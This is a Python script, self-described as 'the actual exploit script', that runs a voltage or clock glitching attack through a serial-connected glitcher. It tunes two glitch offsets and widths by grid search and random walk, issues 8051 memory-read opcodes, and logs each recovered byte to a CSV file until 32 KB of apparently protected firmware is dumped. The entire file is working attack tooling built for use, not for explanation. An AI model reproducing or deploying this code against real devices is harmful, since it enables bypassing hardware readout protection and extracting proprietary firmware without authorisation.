exploit.py

import serial
import time
import signal
import sys
import datetime
import os
from explore import update_waveform, glitch
import queue
import random
import seaborn as sns
import pandas as pd
import matplotlib.pyplot as plt
import pickle
from collections import defaultdict
from config import SERIAL_INTERFACE

def grid_search(dist_range, width_range):
    for x in range(*dist_range):
        for y in range(*width_range):
            yield (x, y)

# This script is the actual exploit script
# it writes the data read to a file 'data.csv'
# it can restart without losing progress
# only the locations list needs to be updatet

locations = [(32789, 12), (172785, 12)]

do_grid_search = True

grid_glitch1 = iter(grid_search((32762, 32821), (7, 16)))
grid_glitch2 = iter(grid_search((172755, 172814), (7, 16)))


avg_succ_rates_1 = {}
avg_succ_rates_2 = {}

succ_rates_1 = defaultdict(list)
succ_rates_2 = defaultdict(list)

exploration_rate = 0.1
learning_rate = 0.7

run_length = 100
plot_update_each = 20

if os.path.exists('data.csv'):
    line = None
    with open('data.csv') as f:
        for line in f:
            pass
        last_line = line
    if last_line:
        begin_address = int(last_line.split(',')[0]) + 1
    else:
        begin_address = 0
else:
    begin_address = 0
current_address = begin_address
data = {}


start = time.time()
start_datetime = datetime.datetime.now()
last_success = datetime.datetime.now()
glitch1_stats = queue.Queue(run_length)
glitch2_stats = queue.Queue(run_length)
global_step = 0

def signal_handler(sig, frame):
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 10))
fig.suptitle('Success rate heatmap')
plt.tight_layout()

first_draw = True

with serial.Serial(SERIAL_INTERFACE, 115200) as ser:
    with open('data.csv', 'a') as datafile:
        ser.write(b's')
        glitch_size_bytes = int(ser.read_until(b'.')[:-1]) * 4
        print(f'Glitch buffer size = {glitch_size_bytes}')

        ser.write(b'a')
        ser.write([0x90, (current_address>>8)&0xff, current_address&0xff, 0xE0]) # set dptr, load dptr to A
        assert ser.read(2) == b'a.'

        update_waveform(ser, glitch_size_bytes, *locations)
        # set_delays(ser, 5000, 0)
        while current_address < 0x8000:
            if global_step % run_length == 0 and global_step != 0:
                succ_rates_1[locations[0]].append((global_step, glitch1_avg))
                succ_rates_2[locations[1]].append((global_step, glitch2_avg))
                # simple running average
                avg_succ_rates_1[locations[0]] = sum(x[1] for x in succ_rates_1[locations[0]]) / len(succ_rates_1[locations[0]])
                avg_succ_rates_2[locations[1]] = sum(x[1] for x in succ_rates_2[locations[1]]) / len(succ_rates_2[locations[1]])
                # first grid search
                if do_grid_search:
                    try:
                        new_1 = next(grid_glitch1)
                        new_2 = next(grid_glitch2)
                        new_locations = [new_1, new_2]
                        update_waveform(ser, glitch_size_bytes, *new_locations)
                        locations = new_locations
                    except StopIteration:
                        do_grid_search = False
                else:
                    if random.random() < exploration_rate:
                        print(f'Random mutation at step {global_step}')
                        # mutate the locations (random walk)
                        random_x, random_y = random.randint(-3, 3), random.randint(-1, 1)
                        new_1 = (locations[0][0] + random_x, locations[0][1] + random_y)
                        random_x, random_y = random.randint(-3, 3), random.randint(-1, 1)
                        new_2 = (locations[1][0] + random_x, locations[1][1] + random_y)
                        new_locations = [new_1, new_2]
                        if new_locations != locations:
                            locations = new_locations
                            print(locations, avg_succ_rates_1.get(new_1, "?"), avg_succ_rates_2.get(new_2, "?"))
                            update_waveform(ser, glitch_size_bytes, *locations)
                    else:
                        print(f'Maximize exploitation at step {global_step}')
                        best_1 = max(avg_succ_rates_1, key=avg_succ_rates_1.get)
                        best_2 = max(avg_succ_rates_2, key=avg_succ_rates_2.get)
                        new_locations = [best_1, best_2]
                        if new_locations != locations:
                            locations = new_locations
                            print(locations, avg_succ_rates_1[best_1], avg_succ_rates_2[best_2])
                            update_waveform(ser, glitch_size_bytes, *locations)

                if global_step % (run_length*plot_update_each) == 0:
                    ax1.cla()
                    ax2.cla()
                    df = pd.DataFrame([{"location": location, "width": width, "amount": amount*100} for ((location, width), amount) in avg_succ_rates_1.items()])
                    sns.heatmap(pd.pivot_table(df, values="amount", index="location", columns="width"),xticklabels=1, yticklabels=1, ax=ax1, vmin=0, vmax=25, cbar=False, annot=True, fmt='.1f')
                    df = pd.DataFrame([{"location": location, "width": width, "amount": amount*100} for ((location, width), amount) in avg_succ_rates_2.items()])
                    sns.heatmap(pd.pivot_table(df, values="amount", index="location", columns="width"),xticklabels=1, yticklabels=1, ax=ax2, vmin=0, vmax=25, cbar=first_draw, annot=True, fmt='.1f')
                    fig.canvas.flush_events()
                    fig.canvas.draw_idle()
                    # plt.show(block=False)
                    os.makedirs('plots', exist_ok=True)
                    os.makedirs('stats', exist_ok=True)
                    plt.savefig(f'plots/{global_step}.png')
                    pickle.dump(succ_rates_1, open(f'stats/first_glitch_stats.pkl', 'wb'))
                    pickle.dump(succ_rates_2, open(f'stats/second_glitch_stats.pkl', 'wb'))
                    first_draw = False
            response = glitch(ser)
            global_step += 1

            glitch1_succ = response[1] == 0xb2
            if glitch1_stats.full():
                glitch1_stats.get()
            glitch1_stats.put(glitch1_succ)
            glitch1_avg = sum(glitch1_stats.queue) / len(glitch1_stats.queue)

            glitch2_succ = response[3] == 0xb2
            if glitch2_stats.full():
                glitch2_stats.get()
            glitch2_stats.put(glitch2_succ)
            glitch2_avg = sum(glitch2_stats.queue) / len(glitch2_stats.queue)

            if response[1] == 0xb2 and response[3] == 0xb2:
                print(f'SUCCESS: {response.hex(" ")}')
                data[current_address] = response[2]
                print(f'{current_address},{response[2]}', file=datafile)
                current_address += 1
                if current_address & 0xf == 0:
                    print(data)
                    datafile.flush()
                ser.write(b'a')
                ser.write([0x90, (current_address>>8)&0xff, current_address&0xff, 0xE0]) # set dptr, load dptr to A
                assert ser.read(2) == b'a.'
                last_success = datetime.datetime.now()
            total_work = 0x8000 - begin_address
            progress = (current_address - begin_address + 0.5) / total_work
            time_spent = datetime.datetime.now() - start_datetime
            total_time_estimated = time_spent / progress
            print(response.hex(' '), f"{current_address} "
                  f"all={current_address/0x8000*100:>5.2f}% now={progress*100:>5.2f}% "
                  f"[{' X'[glitch1_succ]}] {glitch1_avg*100:>5.2f} % succ [{' X'[glitch2_succ]}] {glitch2_avg*100:>5.2f}% succ "
                  f"elapsed={time_spent} eta={datetime.datetime.now() + total_time_estimated} since_success={datetime.datetime.now() - last_success}")